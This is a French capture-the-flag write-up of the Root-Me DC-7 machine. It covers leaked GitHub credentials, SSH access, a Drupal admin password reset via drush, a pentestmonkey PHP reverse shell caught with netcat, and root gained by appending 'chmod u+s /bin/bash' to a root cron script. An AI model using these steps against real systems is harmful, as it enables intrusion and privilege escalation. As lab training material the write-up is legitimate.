Nous avons un Hint :
- “Si vous devez recourir au bruteforce ou aux attaques par dictionnaire, vous ne réussirez probablement pas”
- “Ce que vous devrez faire, c’est penser « outisde » of the box”
- “Pour les débutants, Google peut être d’une grande aide, mais vous pouvez toujours me tweeter à @ DCAU7”
L'outil Rustscan me permet de détecter les services actifs :
┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf12.root-me.org
Un service HTTP est disponible sur le port 80 :
Nous avons un rappel des Hints donnés sur la page d'accueil du challenge.
Je ne suis pas sûr que ce soit la bonne personne, mais elle a quitté Twitter :
Sur la page d'accueil du site nous avons la signature “@DC7USER”
Une recherche Google retourne un lien sur Github :
Un message confirme que nous sommes sur la bonne piste :
Dans le fichier config.php nous avons un username = dc7user et un password = MdR3xOgB7#dW
Cependant, nous ne parvenons pas à nous connecter avec ces identifiants sur le site Drupal :
Le port 22 ssh est ouvert essayons :
┌──(ReZ3R0💀machine)-[~]
└─$$ ssh dc7user@ctf12.root-me.org
The authenticity of host 'ctf12.root-me.org (212.83.175.132)' can't be established.
ED25519 key fingerprint is SHA256:BDWqBUcitB8KKGYDyoeZkt2C/aXhZ7gi5xSEtOSB+Rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ctf12.root-me.org' (ED25519) to the list of known hosts.
dc7user@ctf12.root-me.org's password:
Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
dc7user@dc-7:~$ id
uid=1000(dc7user) gid=1000(dc7user) groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
You have new mail in /var/mail/dc7user
Je regarde le mail mentionné dans /var/mail/dc7user
dc7user@dc-7:/tmp$ cat /var/mail/dc7user
From root@dc-7 Thu Nov 07 19:45:15 2024
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 07 Nov 2024 19:45:15 +1000
Received: from root by www.root-me.org with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1t8z4l-0000Lc-P7
for root@dc-7; Thu, 07 Nov 2024 19:45:15 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1t8z4l-0000Lc-P7@www.root-me.org>
Date: Thu, 07 Nov 2024 19:45:15 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
Nous avons donc un /opt/scripts/backups.sh regardons ce script :
dc7user@dc-7:~/backups$ cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
dc7user@dc-7:~/backups$ ls -la /opt/scripts
total 12
drwxr-xr-x 2 root www-data 4096 Aug 29 2019 .
drwxr-xr-x 3 root root 4096 Aug 29 2019 ..
-rwxrwxr-x 1 root www-data 568 Nov 8 06:44 backups.sh
www-data peut modifier ce script !
Il est possible d'utiliser drush qui est un outil en ligne de commande pour gérer les sites Drupal.
Et nous pouvons voir qu'il est facile de changer un mot de passe :
dc7user@dc-7:/var/www/html$ drush upwd admin --password="reZ3R0"
Changed password for admin
[success]
Maintenant nous avons accès au compte admin :
Ensuite nous installons les modules suivants afin de pouvoir exécuter du code PHP :
https://www.drupal.org/project/devel/releases
https://www.drupal.org/project/php/releases/8.x-1.0
À partir de là j'ai été sur la page http://ctf12.root-me.org/devel/php où j'ai exécuté le code php-reverse-shell.php de pentestmonkey :
Je démarre Netcat sur mon terminal en écoute sur le port 6666 :
Nous avons bien notre connexion !
Astuce ! cette commande améliore le shell :
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@dc-7:/$
Nous pouvons tout simplement modifier le script backups.sh ,
pour ajouter un setuid à un binaire pour donner des privilèges root , par exemple chmod u+s /bin/bash :
www-data@dc-7:/$ echo "chmod u+s /bin/bash" >> /opt/scripts/backups.sh
echo "chmod u+s /bin/bash" >> /opt/scripts/backups.sh
Vérification du script :
www-data@dc-7:/$ cat /opt/scripts/backups.sh
cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
chmod u+s /bin/bash
L'option -p avec /bin/bash permet d'exécuter le shell en préservant les privilèges d'origine du binaire.
Cela permet de maintenir les privilèges root si le binaire a été configuré avec ces droits.
www-data@dc-7:/$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-4.4# cat /passwd
cat /passwd